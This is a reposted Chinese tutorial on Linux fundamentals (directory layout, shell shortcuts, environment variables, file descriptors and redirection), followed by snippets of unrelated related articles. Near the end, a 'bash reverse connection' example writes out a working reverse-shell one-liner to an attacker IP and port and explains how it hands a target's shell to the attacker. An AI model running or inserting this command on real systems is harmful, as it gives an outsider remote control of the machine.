章节4 Linux操作系统基础知识

news2025/8/12 0:18:05

4.1-Linux系统结构

Linux系统结构

  1. 内核
  2. Shell
  3. 文件系统
  4. 应用程序

在这里插入图片描述

Linux操作系统内核

  1. 管理进程
  2. 管理内存
  3. 管理驱动
  4. 管理文件和网络

Linux Shell

接收用户的命令,经过转换,交给内核去执行

cat —> open() read()

  1. 简化操作
  2. 安全

Linux Shell工具(了解)

在这里插入图片描述

在这里插入图片描述

名称程序路径作者
bourne Shell/usr/bin/sh或/bin/shStephen Bourne
C Shell/usr/bin/cshBill Joy
K Shell/usr/bin/kshDavid Korn
Bourne Again Shell/bin/bashBrian Fox
Z Shell/bin/zsh或/usr/bin/zshPaul Falstad

Windows: cmd、Power Shell

Shell和Terminal

在这里插入图片描述

Shell编程/Shell脚本(.sh)

在这里插入图片描述

Linux文件系统

“一切皆文件”

普通文件、目录、进程(/proc)、输入输出设备(/dev)、网络字节流socket、链接文件、管道文件

查看文件作用
lsof /bin/bash查看某个文件相关的进程
lsof -u root列出某个用户打开的文件信息
lsof -c redis列出某个程序进程所打开的文件信息
lsof -i tcp列出所有tcp网络连接信息

Linux目录

(颜色无需记忆)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

根目录文件-1

(理解,无需记忆)

目录作用备注
bin存放普通用户可执行的指令即使在单用户模式下也能够执行处理
boot开机引导目录包括Linux内核文件与开机所需要的所需要的文件
dev设备目录所有的硬件设备及周边均放置在这个设备目录中,比如声卡、磁盘
etc各种配置文件目录大部分配置属性均存放在这里
lib库文件存放地,bin和sbin需要的库文件类似windows的DDL
media可移除设备挂载目录类似U盘、光盘、移动硬盘等临时挂放目录

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

根目录文件-2

目录作用备注
mnt用户临时挂载其他的文件系统额外的设备可挂载在这里,相对临时而言
opt第三方软件安装目录现在习惯地放置在/usr/local中
proc虚拟文件系统通常是内存中的映射,特别注意在误删数据文件后,比如DB,只要系统不重启,还是有很大几率能将数据找回来**(了解)**
root系统管理员目录除root之外,其他用户均放置在/home目录下
run系统运行时所需文件以前放置在/var/run中,后来拆分成独立的run目录。重启后生成对应的目录数据

在这里插入图片描述

根目录文件-3

目录作用备注
sbin只有root才能运行的管理命令跟bin类似,但只属于root管理员
srv服务启动后需要访问的数据目录
sys跟proc一样,虚拟文件系统记录核心系统硬件信息
tmp存放临时文件目录所有用户对该目录均可读写
usr应用程序放置目录
var存放系统执行过程经常改变的文件

用户主目录

主目录:home directory

root用户的主目录是 /root

其他用户的主目录是 /home/用户名

cd 空格 或者 cd ~

工作目录:working directory

目录指代

符号指代
绝对路径由根目录 / 开始写起
相对路径从当前所在的工作目录开始写起
/根目录
.代表当前目录
~代表用户工作目录,vim ~/.bashrc
…/代表上一级目录
…/…/上上一级目录,以此类推,超出范围的时候代表根目录

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

4.2-Linux常用操作

命令帮助

man command(manual)——具体参数和使用方法**(用的最多)**

whatis command——命令的简要说明**(了解)**

info command——详细介绍**(了解)**

help command——Linux内置命令**(了解)**

关机重启(root用户)

关机:

poweroff

shutdown -h now

halt -p

重启:

reboot

快捷键和命令-1

操作作用
Tab键补全命令和目录(自动提示)
方向键上一条命令:↑;下一条命令↓
Ctrl + r搜索历史命令,回车执行
!cd:重复执行最近一次,以cd开头的历史命令
Ctrl + Insert(不是所有电脑都用得了,本人就用不了)复制
Shift + Insert(不是所有电脑都用得了,本人就用不了)粘贴
Alt + Insert(不是所有电脑都用得了,本人就用不了)复制并粘贴

快捷键和命令-2

操作作用
Ctrl + E光标移动到行尾
Ctrl + A光标移动到行首
Ctrl + K清楚光标后至行尾
Ctrl + U清楚光标前至行首间的所有内容
clear清屏,但是命令都还在
history查看历史命令
history -c清楚历史命令 kali: echo > ~/.zsh_history

别名设置

查看别名:alias

设置别名(以bash为例):vim ~/.bashrc

格式:alias short=‘xxx;xxx’

生效:source ~/.bashrc

通配符

符号指代
*任意字符
?单个字符
[]可以查询到与括号内匹配的结果,比如[0-9] [a-z]
{}可以查询到与括号内文件类型匹配的所有文件结果 ll {*.log, *.txt}
^取反 ll *{^txt} 查找不是.txt结尾的文件

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

系统环境变量

查看全部变量:env

查看单个变量:echo $XXX

用户变量:~/.bashrc

系统变量:/etc/profile

在这里插入图片描述

案例:设置JDK环境变量

vim /etc/profile

export JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar

source /etc/profile

4.3-文件描述符和重定向

文件描述符 File Descriptor

ID描述设备
0标准输入(stdin)键盘
1标准输出(stdout)显示器
2标准错误输出(stderr)显示器

重定向

符号类别
>和>>输出重定向
&>表示将一个流(stream)重定向到另一个文件描述符(file descriptor)
<和<<输入重定向

重定向:改变输入输出的方向

输出重定向

在这里插入图片描述

>:覆盖

>>:追加

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

输入重定向

命令格式示例
command < file将file文件中的内容作为command的输入(省略了0)
command < END从标准输入(键盘)中读取数据,直到遇见分界符才停止
command < file1> file2将file1作为command的输入,并将command的处理结果输出到file2
wc -l < test.txt统计test.txt文件中有多少行文本
wc -l << END统计用户在终端输入的文本的行数

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Shift+ G

在这里插入图片描述

q:退出

在这里插入图片描述

在这里插入图片描述

bash反弹连接案例

(不需要理解什么是反弹连接,为什么它可以获得一个控制别人的窗口)

bash -i >& /dev/tcp/192.168.142.44/7777 0>&1

bash -i 在靶机打开交互式的Shell

/dev/tcp/192.168.142.44/7777 连接到攻击机IP端口

>&和&>等价,代表标准输出1 + 错误输出2;把靶机的输出重定向到攻击机**——接收结果用。**

0>&1,左边是标准输入。右边是标准输出输出重定向。把靶机的输入重定向为攻击机的输出**——接收命令用。**

所以,靶机的输入输出都到了攻击机上。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/33669.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【docker学习记录】docker安装mysql、redis

目录 docker安装mysql docker安装redis docker安装mysql 1.下载镜像文件 $ sudo docker pull mysql:8.0.31 下载完成后查看一下镜像&#xff1a;sudo docker images 2.创建实例并启动 //mysql版本5 sudo docker run -p 3306:3306 --name mysql \ -v /mydata/mysql/log:/var…

uniapp的安装与基础

解释 由dcloud 公司开发的 多端融合框架 1次开发 多端运行 竞品&#xff1a;apiCloud &#xff0c;appCan &#xff0c;Codova 技术架构 Vue语法小程序的api Hybrid混合开发端 App端 - HTML - nvue&#xff08;原生view&#xff09; - native.js(js原生沟通的桥梁) - weex …

目前是大专学历如何快速提升到本科学历?学历提升有哪几种形式呢?

目前是大专学历如何快速提升到本科学历&#xff1f;学历提升有哪几种形式呢&#xff1f; 如今想要晋升和加薪&#xff0c;很多除了工作能力分级&#xff0c;另一个是文凭&#xff0c;许多企业和机构基本上是基于文凭来决定基本工资&#xff0c;所以想得到更好的待遇&#xff0c…

深度强化学习+金融投资的应用入门

原创文章第114篇&#xff0c;专注“个人成长与财富自由、世界运作的逻辑&#xff0c; AI量化投资”。 今天的核心工作是把强化学习环境整合进我们的AI量化平台中。 网上很多代码都把数据获取和预处理&#xff0c;都整合到强化学习的环境里&#xff0c;对于总体量化平台而言&am…

python搭建沙箱环境

python搭建沙箱环境 文章目录python搭建沙箱环境一&#xff0c;下载virtualenv模块1.1 在线状态的下载1.2 离线状态的下载二&#xff0c;创建沙箱环境&#xff08;虚拟环境&#xff09;三&#xff0c;激活以及退出沙箱环境一&#xff0c;下载virtualenv模块 1.1 在线状态的下载…

JAVA异常

目录JAVA异常1.初识异常2.异常的处理2.1 捕获异常的基本语法2.2 捕获异常2.3 finally的使用2.4 异常的执行流程2.5 抛出异常3.JAVA异常体系4.自定义异常类JAVA异常 1.初识异常 异常指的就是程序在 运行时 出现错误时通知调用者的一种机制. 我们在编写代码的过程中,遇到过许多…

模态贡献量在汽车NVH分析中的案例应用

作者 | 蓝枫 导读&#xff1a;模态贡献量分析是基于结构模态的频响分析&#xff0c;一般被用来分析诊断低频振动问题&#xff0c;如方向盘抖动、地板抖动以及整车振动等的低频NVH问题&#xff0c;也可以诊断中频问题&#xff0c;如NTF优化问题&#xff0c;但NTF优化一般用GPA…

[附源码]java毕业设计疫情背景下叮当买菜管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

171-178-Hadoop-源码

171-Hadoop-源码&#xff1a; 以了解有印象&#xff0c;动手debug为主。大致流程和思想。 RPC 通信原理解析 1&#xff09;需求&#xff1a; 模拟 RPC 的客户端、服务端、通信协议三者如何工作的 https://gitee.com/HaoZhouRS/bigdata-study-code/tree/master/big-data-stud…

视频转换软件哪个好?万兴优转-支持超过1000种格式转换和输出

想必大家都知道&#xff0c;视频的格式分为很多种&#xff0c;而且不同设备能够播放的视频格式也各不相同&#xff0c;就比如PC端和mac端&#xff0c;其就有很大的不兼容问题。在日常工作中&#xff0c;我们往往将一个视频发给了对方&#xff0c;但对方却因为设备的差异而无法直…

023.二叉树的最近公共祖先

题目链接&#xff1a; 236. 二叉树的最近公共祖先 大概思路&#xff1a; 题目要求&#xff1a; 给定一个二叉树, 找到该树中两个指定节点q&#xff0c;p的最近公共祖先x。&#xff08;q、p一定存在且值不同&#xff09; 最近公共祖先&#xff1a; 两个节点共同的祖先&…

为什么浏览器控制台(Console)运行JavaScript代码有时会出现“undefined”?

为什么浏览器控制台&#xff08;Console&#xff09;运行JavaScript代码有时会出现“undefined”&#xff1f; 浏览器“控制台”&#xff08;console&#xff09;使用简介 about:blank是打开浏览器空白页的命令——内置在浏览器中的命令&#xff0c;可以打开浏览器空白页&…

SpringAMQP WorkQueue消息队列模型的理解与使用

原理分析 Work Queue&#xff0c;故名思意&#xff0c;工作队列&#xff0c;互相配合工作。适用于消息密集型消息队列的场景&#xff0c;如下图所示&#xff0c;queue中存在着大量的消息&#xff0c;而消费者有续配合工作&#xff0c;消息队列有阅后即焚的特点&#xff0c;所以…

【Spring Cloud实战】Spring Cloud Alibaba Sentinel熔断与限流 (最全讲解,附源码)

gitee地址&#xff1a;https://gitee.com/javaxiaobear/spring-cloud_study.git 在线阅读地址&#xff1a;https://javaxiaobear.gitee.io/ 1、简介 Sentinel 是面向分布式服务架构的流量控制组件&#xff0c;主要以流量为切入点&#xff0c;从流量控制、熔断降级、系统自适应保…

【车载开发系列】CAN总线知识入门篇

【车载开发系列】CAN总线知识入门篇 【车载开发系列】CAN总线知识入门篇【车载开发系列】CAN总线知识入门篇一.总线是什么二.CAN总线是什么三.CAN总线的传输介质四.CAN协议的特性有哪些五.CAN出现的背景六.CAN通信总线的作用七.CAN协议柔软性体现在哪里八.CAN总线的仲裁机制九.…

11月24日:fastadmin根目录下其他文件

addons下的两个文件 其一&#xff1a;.gitkeep 其二&#xff1a;.htaccess application中的common文件 pubilc文件中的uploads runtime中的文件解析 vendor和composer.json的关系 根目录下.gitgnore中的相关标准 composer.json和composer.lock之间的关系 主要是承接之前的fast…

面向对象之抽象类的认识 - (java语法)

文章目录前言1. 什么是抽象类1.1 抽象类与普通类的不同&#xff1a;1.2 子类继承抽象类总结✨✨✨学习的道路很枯燥&#xff0c;希望我们能并肩走下来&#xff01; 编程真是一件很奇妙的东西。你只是浅尝辄止&#xff0c;那么只会觉得枯燥乏味&#xff0c;像对待任务似的应付它…

基于JSP的民宿酒店预约管理系统【数据库设计、源码、开题报告】

数据库脚本下载地址&#xff1a; https://download.csdn.net/download/itrjxxs_com/86466879 主要使用技术 SpringStruts2HibernateJSPCSSJSMysql 功能介绍 后台管理&#xff1a; 修改密码&#xff1a;修改个人密码&#xff1b; 会员信息管理&#xff1a;查看会员基本信息并…

C# 学习之路(C# 编程概述)

C# 学习之路&#xff08;C# 编程概述&#xff09; 前记&#xff1a;C# 学习之路&#xff0c;是我跟着 C# 图解教程(第五版) 学习的笔记&#xff0c;每一章都会有一篇笔记发出&#xff0c;小标题会对应书本的章节标题。 .NET 6 和之前的版本相比在顶级语句方面有很大的变化&…

【内网渗透】记一次靶机实战

一、信息收集 1.端口扫描 使用nmap进行端口扫描&#xff0c;发现其开放了22、80、8080、9000端口。 访问其8080端口&#xff0c;发现是一个web界面。 浏览页面内容&#xff0c;提升有一些提示。 【一一帮助安全学习&#xff0c;所有资源获取处一一】 ①网络安全学习路线…